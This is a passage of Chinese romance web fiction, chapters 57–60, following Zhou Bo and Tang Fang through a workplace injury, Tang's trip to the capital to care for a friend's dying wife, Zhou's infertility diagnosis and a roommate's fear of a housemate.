风吹得雨直接糊人脸上,周勃抹了把脸,和唐放俩人一人从一边儿开始收。 收完了衣服,全身也湿了一半了。 头发湿哒哒的,俩人对视一眼,果然双方都很凄惨,幸好这衣服没飘下去,不然任谁捡到两裤衩,都得尴尬的要死。 第二天早上,肆虐了一夜的雨终于平息下来。 周山妹早早起来,看着空荡荡的阳台,差点以为衣服全吹楼下去了,伸头去看,又没瞧见自家一件衣服,其他的倒是有,奇了怪了。 周勃见她那样儿,还能不知道怎么回事吗? “姑,昨晚上衣服都给你收了,我重新放洗衣机了,”周勃说,“昨晚上风大雨大,没敢洗。” 周山妹一拍脑袋,“没丢就行!” “咋突然下这么大雨啊!”周山妹心有余悸,她刚才探头往楼下看,还看到其他人的衣服都吹下去了! 周勃一瞬间想到唐放昨晚说那话,笑眯眯道:“那可能是老天爷觉着有人说话太不经过大脑,就想着洒洒水惩罚人呗!” 周山妹觉着自家侄子是在说怪话。 周勃笑笑,没解释。 唐放又是在外跑了一天,陈牧德坐在他车里嚷嚷:“放哥,你这几天咋都不回来睡了?” 唐放暼他一眼:“你管我回不回来?” 陈牧德挠挠脸,悄悄扫了眼坐在副驾驶的王伟杰,他和放哥最熟,这几天放哥不在,晚上和王伟杰一起,不得不说,还挺尴尬的,他也不知道为啥尴尬。 “这不是怕你被人骗了吗?” 唐放心想,他还巴不得被周勃给骗了,嘴里却是胡乱安慰,“放心吧,没事儿。” 陈牧德:“真没事儿假没事儿啊?” “……” 唐放不想回他,他十分了解陈牧德,这家伙问出这个问题肯定不是出于关心,他直接了当:“说吧,你又出什么事儿了?” 这话一出,陈牧德讪笑两声:“我能有什么事儿啊,每天跟着你们一起算是事儿不?” 唐放就知道他没事,他看了眼坐在身旁的王伟杰,忽的想起个事儿,他问:“小敏最近怎么样?” 王伟杰坐着不说话就是想着小敏的事呢! 唐放回想了下当时王敏给他表白的场景,他就记得,他应该没说什么过分的话,但姑娘天生底色要敏感些,他说:“她应该没事儿吧?” 陈牧德觉着放哥问这问题似乎有些太晚了。 王伟杰倒是不在意,“她没事,就是回去哭了一场,幸好你后边儿直接出去住了,不然她看到你估计心情也不好。” “我想给她报个学校,她现在还年轻,当初在高中成绩也不差,趁着这次对你死心,好逼她一把,先努努力看能不能考个大学出来。” 唐放点点头,这是个好事儿,“有什么困难和我说,我能帮的尽量帮。” 他说的是钱的事,王伟杰也清楚,不过他好歹也干了两年,怎么会一点存款也没有。 王伟杰摇摇头,“是有个忙。” 唐放看着前面,“什么忙?” “你不是出去住了吗?我想着等她心情好些了就送她去上学,随便报个班也可以!就是想你在外边儿多住些天。” 王伟杰可不想自家妹妹看到唐放后,对他的情感又死灰复燃。 这对唐放来说根本就不是事儿,他巴不得不回去住,一口答应下来:“可以。” 陈牧德傻眼了,所以,后边儿放哥不回来住,他岂不是就只和王伟杰熟点儿啊! 第57章 第 57 章 也不是陈牧德嫌弃王伟杰, 主要是,放哥走了后,出租屋里,他最熟的就是王伟杰了。 偏偏, 他总觉着王伟杰对他有意见。 有放哥在, 当个缓冲剂还好, 没了放哥, 他看到王伟杰就觉着头皮发麻。 几天下来, 他们租了个离出租屋近的楼当办公室,当然,不是整栋, 而是整层。 顺便跑了手续, 公司的营业执照终于办下来了。 周勃这边几天日子都过得很潇洒,时不时和唐放斗斗嘴, 损他两句,过得十分轻松。 “对了, 你们公司叫什么名儿?”周勃忽然问到。 唐放在停车, 锁他那辆自行车。 “就叫蓝天, 怎么了?”唐放锁好车,站起身看向周勃。 蓝天—— 周勃感觉有些耳熟, 思绪在脑子里转了一圈, 确信, 后世没哪个出名的建筑公司叫蓝天的。 有名气的老牌建筑公司在海城也不多,十个手指头都能数出来, 确实没有叫蓝天的。 所以, 唐放这是真没在这时代浪潮中站稳脚步,成了被浪打翻的人? 周勃胡思乱想, 他自觉自己能够规避很多,但一个公司破产的原因有很多,如果是内部出了问题,他也无能为力。 眨眼过了一个月时间。 唐放在周勃家过的越来越熟,甚至开始正大光明在周勃衣柜里添上自己的衣服,一副俨然要常住的模样。 都说客人住久了惹人烦,唐放却是个例外。 周山妹巴不得他住久点! 当然,自知理亏的唐放也不可能就这样占人便宜,早早拿钱给了周山妹,说是房租,周山妹不肯要他硬是塞给了她。 为着这钱的事,唐放躲了周山妹两天。 周勃看在眼里,知道唐放不差这点钱,他就劝周山妹:“姑,你别管他,他要不给点钱,自己心里也不舒坦。” “都是村里的人,又不是说是陌生人,怎么住会儿还要钱呢!”周山妹无奈道。 不过在周勃的劝说下,她好歹是收下了钱。 私底下,周勃对唐放说,“你要心里实在过意不去,下次你把那钱给我,我指定什么也不说,收的好好的。” “行啊。”唐放答应的很是爽快。 然而到了月底。 夜晚,睡觉前,唐放给周勃出了个难题,他递了个小本子。 周勃接过手,小本子上崭新的两个字:存折。 “……” 周勃打都没打开,还给唐放:“我不要,你给我这个干什么?” “不是房租吗?”唐放说这话说的很顺畅,好似天生如此,就像小本子上的钱不是钱似的。 哪有人房租,直接把自己存折给了出来的? “你要是真没地方放了,可以买个保险柜放里头。”周勃冷静提出建议。 唐放表示,他不接受:“放你手里,心里踏实。” “……不是,你给我,我要是弄丢了怎么办?” “丢了就丢了,”唐放满不在乎,小本子扔给周勃,动作十分大气豪迈,好似这小本子上存的不是他的钱似的,“反正迟早要拿给你的。” 小本子扔过来时,无意间打开了点,周勃眼神很好,扫到一个数字,他觉得自己又要牙疼了。 还有唐放这说的什么话,什么叫迟早要拿给他,他大爷的,他是银行吗?放他这儿难不成比银行利息还高? 周勃坚决不收,房租和存折可不是相同的概念,什么该收,什么不该收,他心里清楚。 唐范这家伙对他未免也太放心了,全身家当大概都在这本子里了,竟然想让他帮忙保管! 见周勃始终不收,唐放也没办法,只能又把那存折收起来,小本子就被这样放在宽大的钱包里,光看着就让人觉得眼皮一跳。 那钱包夹面儿一扫,除了身份证,一张照片夺人眼球。 不是别的,正是之前被唐放从他手里抢走的小孩照。 “不是,你把我照片放你钱包里?”周勃眼神复杂。 “对啊,”唐放冲他笑笑,一脸痞味儿:“挺好用的。” “有外人看见,我就说是我儿子,一下子省去不少麻烦。” 周勃:“……” 见周勃不说话,看着他那张帅脸,唐放觉得有必要给他也省省麻烦,眼睛直勾勾的盯着他,舔舔嘴唇:“要不你也给你钱包里放一个?我正好有多的照片,我的。” 周勃确实有人想给他介绍来着,但不多,再说了,要真想给你介绍对象的,能不先提前打听了你的信息? “滚!放你照片有什么用,放我自己还差不多,至少长得像。”周勃笑道。 唐放摸摸鼻子,这话也在理。 他们接的周勃公司的项目终于开工了。 公司的开门红,势必要把这项目做的漂漂亮亮。 许是开了公司,虽然大部分人的工作职责不是很明确,不过有个单子撑着,他们干得也很卖力。 陈牧德有了经验,跟着王伟杰跑上跑下。 王敏被他哥送了补习班,正准备着考大学,整个出租屋,此刻是真的一个年轻姑娘都没了。 到了中午,周勃来他们工地看了。 说是看,其实就是看看他们进度,一个月他最多来三次,这就是他的第三次。 不少人正坐在地上休息,也都认得周勃这个甲方老板,没办法,打工人对老板天生的敏感。 见到周勃来了,坐地上的陈牧德说:“周勃哥,我去喊放哥过来。” 没等周勃说不用,陈牧德跑得飞快,撒丫子一溜烟儿没影了。 很快,唐放回来了。 他是去给众人买冰棍去了,回来时连带着陈牧德手里也抱着冰棍儿。 看得不少人眼睛一亮,纷纷起身过来迎接,你一根我一根拿着再坐回去,开始啃冰棍。 “哇!果然大热天还是要吃冰棍才舒服!” “太爽了!” “唉!扇风挥大力点儿,给我也扇扇啊!” “要扇自己扇,老子要吃冰棍!” 唐放放下冰棍,带出来两根和周勃说话去了,一人一根冰棍。 周勃撕开包装,老冰棍儿的味儿,还是那个味道,甜丝丝的,慢慢去除人心底的燥热。 建筑是个体力活儿,真正的干的多,挣得也多,就是累。 “等你们这个完工了,我打算之后的活儿都包出去了。” 耳边传来唐放淡淡的声音,周勃转过头,只见他正眯着眼睛看着那些坐在地上休息的兄弟,他也热,额前的头发湿了一片,穿着的白背心沾上一团一团深浅不一的灰色。 “怎么说?” 唐放没转头,对着周勃,他总能轻而易举把自己的想法说出来。 “要每次都什么活儿自己干,我开这个建筑公司有什么用,不和之前一样吗?再说了,这也就是趁着年轻能多挣点。” 唐放咔嚓咔嚓啃着手里的冰棍,别人都是舔嗦,就他是真一口一口啃,牙齿就跟那不怕冷的机器似的,“以后我们就坐办公室就行了,一些人分出去做个小头目带人,或者成公司里的包工头,这样拿钱也多。” “主要还是多接单子,再交给其他的人干,公司里面,或者公司外面的都可以,主要挣个差价。” 周勃沉吟片刻,“那你们的钱怎么分呢?” “这个还没想好。”唐放说的是实话,他是真的还没想好。 “其实,不少建筑公司都是从包工头转过来的,你可以参考一下。”周勃给出自己的建议。 唐放点头,他也知道这个,这个可以慢慢想,距离周勃他们项目完工,还需要好些时间呢! 相反,他最上心的从来只是周勃,他瞥了眼周勃,装似无意道:“对了,你感觉怎么样了?” 周勃没听明白:“什么怎么样?” 唐放轻哼两句,“还能有什么,当然是我!” 周勃:“……” “你这些天,对我就一点感觉没有?”唐放紧追不舍,周勃就算说是,他也不会相信! 一个人喜不喜欢你,你是能感觉出来的,唐放能感觉来,周勃对他,是有心动的。 周勃试图转移话题,他笑得僵硬:“对了,你今天晚上想吃什么?” 唐放看着周勃脸上那笑,以及那飘忽的眼神儿,看天看地就是不看他。 唐放也没辙,这人跟个鸵鸟似的,一问到这个问题就装死,他磨磨牙笑骂:“真怂。” 周勃摸摸鼻子,对唐放的话充耳不闻,心说,怂就怂点吧,老年人经不起太大的风波了! 他俩搁这儿聊天,不远处却很快起了骚乱。 周勃这边看得分明,不少人站起来,像是凑到一个人身边,脸上都紧绷着。 他正要说是不是发生了什么,让唐放去看看,没想到唐放动作很快。 周勃话都没说出口,人走过去了。 他跟在唐放的身后。 “怎么了?发生什么事了?” 唐放的声音在众人身后响起,听见唐放的声音,众人像是有了主心骨似的,给他让出条路,七嘴八舌开始讲起来。 “放哥,老三他的手刚才搬东西,被上边儿石头砸到了!” “对对对!” “怎么样了?是不是要送医院啊!” 唐放看着白着脸的老三,手臂呈现不自然的弧度,恐怕是伤到骨头了,没时间再给众人多说安全的问题,他当即立断:“送他去医院!” “嘶!”陈牧德倒吸一口冷气,这真要去医院啊! 周勃跟在唐放的身后,也看到这个年轻人的模样,长相普通,脸上带着雀斑,此时面色发白,冷汗直流。 去医院是对的。 这时候唐放也顾不得周勃了,他招呼着人,叫上陈牧德和另外个人和他一起去。 王伟杰不能去,他算是第二个主心骨。 幸好唐放的车在附近,不然还得搭车过去。 这一来,人就出事了,周勃也没了在原地的心情。 回想着刚才人的模样和手,周勃觉着问题应该不大,不过这兄弟注定后边是得休息了。 但周勃没想到的是,到了晚上,唐放也没回来。 一通电话打到了座机上。 第58章 第 58 章 是唐放的来电, 不知道他从哪儿借的电话,背景听起来有些嘈杂。 周勃问:“怎么样?应该没什么事吧?” 那边的声音实在是太吵,好半天,周勃都以为是吵闹声把唐放的声音盖过去了。 唐放的声音终于透过沉重的电话传过来, 带着闷声, 像是从胸腔中发出来, 配着背景音, 清晰又不清晰。 “周勃……” “我要去首都了。” 周勃一顿, 短短的一句话,甚至没让他弄清楚发生了什么,他冷静道:“是手臂伤得很严重吗?需要去首都治疗?” 他想说的是, 海城这个城市的医疗水平也很好, 如果不严重的话可以不用去首都的,更何况去了首都或许更麻烦也不方便。 “……不是。”唐放沉默了会儿, “老三的伤确实是骨裂,这里的医院能治。” “那为什么……”周勃不解。 “是陈浪, 莲花姐。”唐放不知道自己是怎么说出这两个名字的, 他觉得自己的脸木木的, 甚至听到消息的时候还有些呆滞。 周勃心中一沉,用发干嗓音说。 “他们……怎么了?” 周勃知道唐放对这俩人的在乎, 如果不在乎, 当初也不会想着自己加钱把他们的房子买下来。 这就是情谊。 唐放的声音带着哑, 可以听出他目前的状态并不好,“陈浪在首都遇到了以前的人, 最后打了起来, 进医院了。” 周勃听得皱眉,怎么会打起来? 陈浪本就是带着老婆过去治病的, 还带着女儿,真要打起来出事,老婆孩子怎么办? 像是听到了周勃的疑问,唐放说:“原本陈浪是想着走的,但对面的人似乎是觉得不解气,带着人直接上了。” “……然后呢?” 周勃也弄不清楚这种心情,只是想到了那个虚弱温柔的女人,想到了可爱的小萝卜头,心情再怎么也好不起来。 怎么会这样呢?真就是命运专找苦命人? “陈浪怎么样?”周勃问。 唐放:“陈浪情况不好,打人的人全都进局子了,结果不知道怎么样,陈浪说原本是不打算找我的,但他实在找不到人了。” “他家的亲戚都避着他。” 唐放嗤笑一声:“有钱的时候来的比谁都勤快,没钱出事了,跑的比谁都快,更tm傻逼的是,最后还会像个蚊子一样,不把自己的肚子撑爆根本不挪嘴!” 他自己就是最真实的体验。 周勃不知道说什么好,他没有过相同的经验,虽说知道有这种事,但也不能完全共情,想了想,他问:“他老婆呢?怎么样了?” 说起这个,唐放又沉默了,一通电话,他不知道沉默了多少次,“莲花姐,她是癌症,肺癌,已经到了晚期开始化疗了。” “……” 周勃真不知道说什么了,相顾无言,沉默在电话里蔓延,带着点点的苦涩。 唐放说:“我买了今天的火车去首都,可能要去比较长一段时间。” “嗯。”周勃闷声说,笑笑,随后又收敛:“你去吧,我会给小姑说一声的。” “嗯。” 过了许久,电话还没挂。 俩人都听着对面人的呼吸声,唐放那边听不太清楚,可就是嘈杂的声音,莫名让周勃能理解,理解他此时的心情。 “还有什么事?没什么事我挂了。”周勃有些心软。 “我走了,你别去相亲。”唐放闷声闷气。 “知道了。” “……也别找女朋友。” “嗯。” “男的也不行。” 周勃很是好笑,但想到他刚才的话,又心软了,“好。” 听到周勃这样说,唐放总算放心了些,很多话在脑子里绕了一圈又一圈,最终到了喉咙,却只短短的剩了一句。 “……等我回来。” 这通电话打完,唐放坐上了去首都的火车。 周勃给小姑说了唐放去首都的事,立马得到了周山妹的询问。 周勃没明说,只说他是有急事去的。 周山妹:“那他啥时候回来啊?” “不知道,可能处理完了事儿就回来了吧。”周勃说。 周山妹点点头。 只过了两三天,小姑好似习惯了家里少个人的存在,她现在每天都忙碌的很。 除去做饭和时不时打扫卫生,她几乎都和楼下的赵姐在一起,俩人晚上还出去遛弯,又多认识了几个姐妹。 周勃忘了是哪天知道的,小姑竟然和其他几个老阿姨一起组成了一个夕阳红舞蹈团! 每天晚上去练舞,小姑还因为跳舞标准站在最中间! 其实,周勃去看过她们跳舞,跳的不是高难度的舞蹈,就是舞着个扇子转圈,挥挥手臂什么的,很有夕阳红的味道。 因着她们这个夕阳红舞团,也有人请她们去演出,大多是结婚上去演出,有钱拿她们跳的更卖力了。 练习多了,有时候还得周勃给小姑送饭过去。 周山妹吃着自家侄子送过来的饭,额头的汗水都透着高兴,“这是你做的饭?” 周勃:“不是,这是买的。” “我就知道,”周山妹笑着说,“我还想着你啥时候做饭这么好吃了!这是在哪儿买的?你下次不用送了,我直接去那儿买份就行了!” 周勃:“……” “小姑,你在这儿开心吗?”周勃问,其实他并不是很想小姑来这里跳舞,不是因为什么偏见,而是他知道小姑的腿脚不好,虽说平时看着和普通人差不多,但到了跳舞这种专业性动作,他总觉着会不会更伤腿。 周山妹奇怪的看他一眼,“我要不喜欢做这个,我还做它干啥?” “你别说,其实以前有过团队到咱们村来招人,说是去舞台上演戏唱歌来着,村里其他人都没选上!就我选上了!”周山妹感慨,“当时我要是去了,不知道能赚多少钱呢!” “那你怎么没去?”周勃笑着问。 周山妹叹了口气,“那时候年轻,都怕是骗子,你爷爷奶奶都说是骗人的,是拉进去进传销的,我就没去。” 现在回想起来,要不是传销呢? 指不定就是另外一个人生了,现实就是这样,一个选择就是另外的道路。 “哎呀!不说了,你赶紧回去吧,我们等会儿还要练舞呢!”周山妹催促着侄子。 周勃硬生生的被周山妹赶出了她们的练舞室。 周山妹认识的都是住在附近的姐妹,这个练舞室离家也近,晚上也不怕不安全了,平时就在练舞室练练舞,唠唠嗑吃吃瓜子,日子过得有滋有味。 周勃就没周山妹这样潇洒了,小姑很快适应了唐放走后的生活,周勃适应的很慢。 他想了好几天,终于得出结论。 唐放太会照顾人了! 没错,很多时候,和唐放待一块,虽说他有时候发疯,但不得不说,他很会照顾人,周勃甚至觉着这人是自己肚子里的蛔虫。 他还没说出口,人就把事儿给办了。 以至于,周勃现在做什么都想起他,特别是在下班之后。 人果然是由简入奢易,由奢入简难。 唐放有时候会用医院的座机给他打电话,都是在闲下来的时候。 不多,也就有个两三回。 周勃和唐放打电话时说起过这件事,是以开玩笑的口吻说的。 对面的唐放却是沉默一会儿,“我这么贴心的吗?” 周勃挑眉:“你不知道?” “不知道,习惯了。” 几个字给周勃说的哑口无言,于是开始给他举例子,从他想喝水下一秒人就给他递过来,递给他的橘子从来都是剥过皮的,他生气哄人,到他只扫了一眼,唐放就能给他准确无误的拿过来,到他生病唐放整整一夜没睡守着他,牵着他去厕所,怕他觉得吃药苦特地大晚上跑出去买糖。 一桩桩一件件,细说起来,竟然如此之多,周勃也震惊了。 电话那头唐放听着听着,忽的就笑了,砸吧砸吧嘴。 “原来我做了这么多吗?” 周勃也跟着笑,“是啊。”搞的人一走,他都有点不习惯了。 唐放长叹一声,像是在感慨,自己也没意识到,轻声说:“……原来我这么喜欢你啊!” 周勃一愣,一时间不知道说些什么。 好在对面的声音缓解了周勃的尴尬。 “43号床病人的家属在吗!” “43号床病人的家属来一下!”这是护士的大喊。 “来了!” 周勃听见唐放喊了一声,随后电话里是他的声音。 “护士叫人了,先挂了!” 没等周勃说话,电话传来“嘟嘟嘟”的忙音。 生活还要继续,唐放那边或许是真的太忙了,这次之后,很久都没再打电话过来。 周勃是希望陈浪一家能有个好结果的,不管是从什么方面,但他也知道,陈浪或许能被治好,但是李莲花。 很难。 癌症在几十年后仍然是个无法攻克的难题,癌症晚期患者的存活率低得不能再低,到了后世的靶向治疗和免疫治疗还能拉高一下患者的生存年限,但也只能讲是几年存活率。 目前而言,癌症晚期,只能化疗,化疗是个长期且痛苦的过程。 可能也是因为这件事。 周勃给公司员工带了个全体体检的福利。 顺便,他带着周山妹也在医院进行了一次全面检查。 值得高兴的是,周山妹的身体状况很好,常年劳作的人难免有些身体身体上的劳损,她也有,但注意休息就行了,没什么事。 反倒是周勃,被医生拉到了一边。 这是个男医生,他推了推鼻梁上的眼镜,欲言又止,“根据检查报告,其他的都没什么问题,就是你的性激素检测,睾酮激素的分泌有点少了。” 周勃心里咯噔一下。 男医生也是看着办公室里没人,他继续说,“外边儿那位是你的……” “是我姑姑。” “奥奥,是这样的,”男医生说,“这边呢建议你要是可以的话呢,去做一下敬液分析,要更准确一些。” 周勃:“……” 联系自身情况,这话他还不知道什么意思,他就真是蠢蛋了。 第59章 第 59 章 门外的周山妹察觉到不对, 之前有医生看了她的体检单,然后说她没什么事,怎么到了周勃这儿,就被医生叫进去了? 不会到头来她没检查出什么, 侄子倒是有了毛病吧! 周山妹在门外焦急的等着, 觉着现在的年轻人可真是, 怎么也不怎么劳作, 也不种地什么的, 咋能得病呢?这也太奇怪了! 周勃没有着急打断男医生的话,他冷静的听完,随后说, “我能问下, 这大概是有什么问题吗?” 男医生说:“你先去做个检查吧,做完了就知道了。” 敬液分析。 一个多小时的时间, 检查结果出来了。 男医生看着检查结果,说不出什么表情, 专业的医生, 不管看到什么, 都不会在病人面前露|出分毫。 这就是一颗大石头落地,放在现如今周勃的身上或许是石落天惊, 但他是早有准备了。 石头重重落下, 再轻轻落地。 静静听完医生的话, 周勃拿到检查报告,出来后, 就见等了许久的周山妹, 他笑道:“姑,走吧, 检查完了,该回去了。” 周山妹见到周勃脸上的笑,还以为没什么事,心下松了口气。 回到家,周勃才把这个重磅消息说出来。 周山妹被砸得头晕目眩,要周勃重复好几遍才缓缓明白那张单薄的单子上的字代表着什么。 “怎、怎么会!” “唉!小姑!” 周勃连忙把人扶到沙发上!生怕周山妹一个不小心再度摔到,磕到碰到什么。 周山妹坐在沙发上,拳头捏的紧紧的,“你,你给我把医生说的都说出来,医生到底说了什么?” 这还能是什么? 周勃沉默了会儿,还是说了出来,一字一句,一边说,对周山妹不理解的专业词汇还进行解释。 周山妹越听越沉默,听到最后,竟然开始抹眼泪了。 看得周勃好笑:“姑,得病的是我!又不是你!你哭什么?” “那还不如生不出娃的是我!”周山妹立马说,年纪大点儿的人哭起来又丑又让人心疼。 周勃扯了两张纸给她抹眼泪。 “你以后可怎么办啊!”周山妹呜咽着,又抹眼泪,想到自己一个人拉扯着周勃长大,想到到了海城,前几天还想着给周勃看看姑娘,结果姑娘还没相看,这人毛病倒是先出来了! “什么以后怎么办,”周勃哭笑不得,“该咋办咋办啊!就像你之前给我说的那个从国外回来的高技术人才,人都还喜欢男的,以后没孩子不照样活吗?” “那哪儿能一样!”周山妹说,她哽咽道:“人是不想生,不是不能生!男人不能生,那多笑话啊!” “你是不知道你大娘她兄弟,也是这样,没一个姑娘愿意嫁给他!” 周勃:“……” 周山妹的思想还停留在老一辈,她要是看看零零后,那是不结婚的一抓一大把,思想超前,甚至还有人得出结论,人没必要活这么长时间,活到四五十岁差不多了。 周勃当然没到这种程度,也知道小姑是担心他以后的问题。 中国从古代来的思想就是多子多福,没听人有句话吗?不孝有三,无后为大。 这话的原本的意思遭到扭曲,大多数人的理解都认为,人不管怎么样,还是需要一个孩子。 周山妹也这样觉得。 她开始带着打听有没有能治疗这种的药。 当然,不敢明面儿上打听,只能时不时的问一下,装作好奇。 也不知道从哪儿弄来的药,就要周勃吃,纯纯的急病乱投医,给周勃气的,当天就和周山妹吵了一架。 后世都没解决的问题,放在现在就能解决了? 周勃知道小姑是担心自己,可说实在的,他也不想自己的身体遭罪,只能再冷静下来之后和周山妹谈心沟通。 也和周山妹去了海城最大的医院找医生检查,最终的结果该怎么样还是怎么样。 这放在正常男人身上很是痛苦的事,放在周勃身上却好像散了许多。 因为唐放吧。 周山妹好似老了很多岁,她后面唯一的心愿就是周勃结婚,然后生个孩子,让她抱孙子。 但这个愿望,破裂了。 明明不能生的是周勃,周山妹却好像更难受些。 周勃调侃她说:“小姑,要不这样吧,你给我找个姑父,然后你们俩生个孩子,也不需要你们养,我来养!” 大逆不道的话给周山妹气得拿着鞋子就追他跑,硬生生绕着餐桌转了好几圈。 周山妹指着周勃的鼻子,“你你你!” 周勃摸摸鼻子,给她递了杯水,“慢点说。” 周山妹可不累,她是能跑去给人演出跳舞的人,以前还干农活儿,哪有那么容易累! 可惜就是逮不到周勃,不然真给他来一下子。 周勃对自己的以后早有打算,等周山妹冷静下来后,才慢慢坐到她身边,“小姑,我早就想好了,以后就慢慢找个喜欢的人,能走一辈子的,相持到老就行了。” “……哪有这么容易。” 周勃笑眯眯道:“这肯定不容易,但我才多少岁啊,迟早能找到的,生孩子难,两条腿的人还找不到?女的找不到不也还有男的吗?” 周山妹:“……” “男的不行,男的肯定不行!”她立马反对。 “……为什么?” 周山妹奇怪的看他一眼,“你好端端一个大老爷们,怎么能还找个男人呢!你又不是喜欢男人!” 周勃没说话,他是真有点喜欢唐放了。 或许他天生就懒,作为商人天生就爱计算利益得失,有这么个人喜欢着你,照顾你,哪有人能不动心的? 难道一边享受着人的付出,一边又不想给人负责吗? 那不是渣男吗? 周勃月底再次接到了唐放的电话,他的声音透着浓浓的疲惫,给周勃说着近些天的状况。 李莲花确实是化疗,并且化疗后,人肉眼可见的精神萎靡,化疗就像是一只大手,无形的抽走了她的精气神,让本就瘦弱的人,越来越虚弱。 陈浪住院了,他被人打断了腿,躺医院里住院,每天坚持杵着拐杖来李莲花的病床。 夫妻俩都成了病号。 唐放一时间也不知道说什么,好在小萝卜头很懂事,小女孩有父母在,不哭不闹,每天眨巴着大眼睛跟着人,获得了肿瘤科和骨科住院病人的一致喜爱,纷纷拿出糖逗她。 可小姑娘不是能被一两颗糖果就收买的人,还知道看看唐放或者陈浪李莲花的眼色。 得到许可了,又甜甜说声谢谢。 唐放说起小萝卜头声音里带着笑意,说起李莲花时又沉闷下来。 “莲花姐,她现在怎么样?”周勃问。 唐放:“情况不是很好,医生之前给我们打了招呼,说她可能活不过三个月。” 周勃给出最后的建议:“……让他们好好待待吧,一家人在一起才是最重要的。” 唐放呼吸重了些:“珍珍不知道是不是感受到了,她现在天天哪儿也不去了,就守在病房里,喊着要妈妈。” 小孩子很敏感,周勃也知道。 “所以我让她好好记住莲花姐的样子,那是她的妈妈。”唐放说。 周勃:“你做的好。” 唐放笑了下,“我也觉得,像我这样的好人可不多了。” “你呢?你最近怎么样?” “我?”周勃犹豫着要不要说自己的事儿。 唐放却像是察觉到了什么:“你怎么了?” 周勃说了去医院体检查出病来的事儿,说完了,等着对面唐放安慰他。 没想到这家伙一点儿同情心没有,听完还笑了下,“挺好。” 周勃没好气:“……这有什么好的?” 唐放轻轻哼了两声:“说明我们有缘啊!说明老天爷都不想你和女人在一起,说明你天生就该和我一道儿。” 周勃不说话了,他真想把唐放那张嘴锯了,还以为这人能给个安慰出来。 他这还没气玩,电话那头的唐放的话题一转。 “这又不是什么大事,那玩意儿能用就行,等我回来了,我去医院结个扎,我俩一道儿,有福同享,有难同当。” 周勃一时间还真有些感动,不过感动过后就拒绝了,“别了吧,你这是没事儿硬要给自己找事。”就和部分没苦硬吃的人似的。 唐放却不这么认为:“这叫公平,至少都不用担心从哪儿突然冒出个小孩儿叫你一声爸爸。” “嘶,”周勃勾起嘴角,不自觉透出点儿笑意,“你这想的未免也太早了吧?我都没说什么呢!再说了,人要真想出轨,是防不住的。” 唐放选择性忽略了周勃前两句话,他漫不经心的威胁道:“要真出轨了,我要是知道,不知道别人怎么做,我铁定把人绑起来,扒了他的衣服,干|他个几天几夜,让他以后还敢不敢出|轨。” 周勃头皮发麻,仿佛看到了唐放那双眯着的丹凤眼,不知道为什么,唐放虽然没说,但他总觉得是自己,他清咳两声,然后转移了话题:“你和陈牧德他们联系过了吗?” “之前联系了一次,怎么了……” 周勃开始给他汇报他们工程的进度…… 时间就这样一分一秒的度过,唐放这次走得很久,因为李莲花,他不可能就那样回来。 周勃有时候想起来了他们工程,会问问负责的人,然后自己再去看一看。 唐放的兄弟,他就只认识个陈牧德,他们还是一个村儿的,后来认识了王伟杰,因为唐放走后基本是他在管。 不过没陈牧德熟。 最近,不知道是不是周勃的错觉,他总觉得陈牧德这家伙是不是出了什么事儿。 他后面去过工地两次,基本上都是王伟杰过来和他打招呼,陈牧德的面儿都没见着。 这本来也没啥,偏偏陈牧德大半夜敲响他家门,可怜巴巴的想过来借宿一晚,借口说是想放哥了,周勃一个字儿不信。 陈牧德也自觉,就着沙发就睡了,周勃早上笑着和他聊天,旁敲侧击也没从问出个什么所以然来。 他不知道的是,陈牧德快要抑郁了。 他总觉得王伟杰这家伙最近有点怪!看他的眼神更是透露出股子邪气,要不是买的寺庙里的符咒和观音也不管用,差点儿让他以为人被鬼上身了! 只能急急的先在周勃哥这里将就一晚。 第60章 第 60 章 陈牧德支支吾吾的不肯说。 连续在周勃这儿待了几天, 终于经不住周勃的询问,陈牧德哆哆嗦嗦开口了,或许在他看来,在海城, 除了唐放, 周勃就是他最熟悉的人。 现在放哥不在, 他可不就只能依靠周勃了吗? “周勃哥, 你不知道, 这些天,王伟杰那家伙看起来太奇怪了!!”陈牧德咽咽口水,跟做贼似的, 还看了看周围, 小声都周勃说:“我怀疑,王伟杰, 他想杀了我!” 周勃听到个杀字,眼皮一跳。 正想说陈牧德是不是想多了, 可看他的脸色, 又不像是说假话, 一时间给他勾起了兴趣。 “你为什么会这么觉得?” 陈牧德也是有证据的,他说:“首先, 我和王伟杰原本就不对付!” “不知道放哥给你说过没!我不是喜欢周梅吗?” 陈牧德说起喜欢来一点儿不害臊, 反而坦坦荡荡, 让周勃不自觉高看他一眼。 “王伟杰是她之前的男朋友,可他一点都不珍惜周梅, 就是个花心大萝卜, 有女朋友还和其它姑娘说说笑笑,我不就气不过, 然后和他打了一架吗?”陈牧德说,他没说的是,他是找人去打,结果被反杀供了出来,也没说这事儿是误会。 现在在他看来,这些都不重要,重要的是要突出他们的不对付! “从这儿我们就结下梁子了!我们本来就对双方挺讨厌的,因为小敏我也就忍忍他,可是最近……” 周勃:“?” 陈牧德继续咽口水:“最近小敏不是报班搬出去住了嘛,放哥也不在,我感觉王伟杰越来越容不下我了!” “他看我的眼神很奇怪,真的很奇怪!”陈牧德抖了抖,“像是电视剧里的杀人犯看受害者的眼神,就是奇怪,还带着点儿邪气!” 周勃:“不就是看你眼神怪了些吗?这怎么和杀人犯扯上关系了?” 周山妹在厨房听见声儿,对着客厅高声喊道:“什么饭啊!你们说什么呢?是想吃什么饭吗?” 周勃高声道:“没什么,就是随口说的,姑你继续炒菜吧,别管我们!” 经过周山妹的打岔,陈牧德声音更小了些,眼睛里是挥之不去的惧怕,“我,我之前也这么想,还以为人鬼上身了,就去寺庙里买了符咒!” “……有用吗?” “没!” “嗯。”周勃点点头,示意他继续说。 陈牧德接着刚才的话,“可是,我发现王伟杰这家伙,竟然晚上不睡觉!他不睡觉就算了!他、他大晚上还站在我床边发出那种悉悉索索的声音!根本不像是人能发出来的!” 这回周勃终于“嘶”了一声。 “还有,有一次,他、他竟然站我床边,拿着把刀!”陈牧德说到这儿是真的要欲哭无泪了,谁知道他这些天怎么过的,他实在是没办法了,这才跑了出来。 不然,真的怕哪天晚上王伟杰直接把他剁碎了,到时候可怜放哥和周勃怎么找都找不到他,他也太晦气了! 这听着就感觉有点恐怖,更别说挨了这么些天的陈牧德,魂都快吓飞了,谁能知道,这几天睡客厅,是他睡得最好的几天! 当然,他也不敢睡床,都知道放哥喜欢周勃了,再和他睡一张床,从觉得有些别扭。 周山妹见他不肯和周勃一起睡,没办法,给他在客厅搭了张小床,睡得十分舒适。 “周勃哥,你可千万别赶我出去,”陈牧德目露哀求的看着周勃,双手合十,“就让我在这儿住会儿吧!” “我保证!放哥一回来,我就走!” 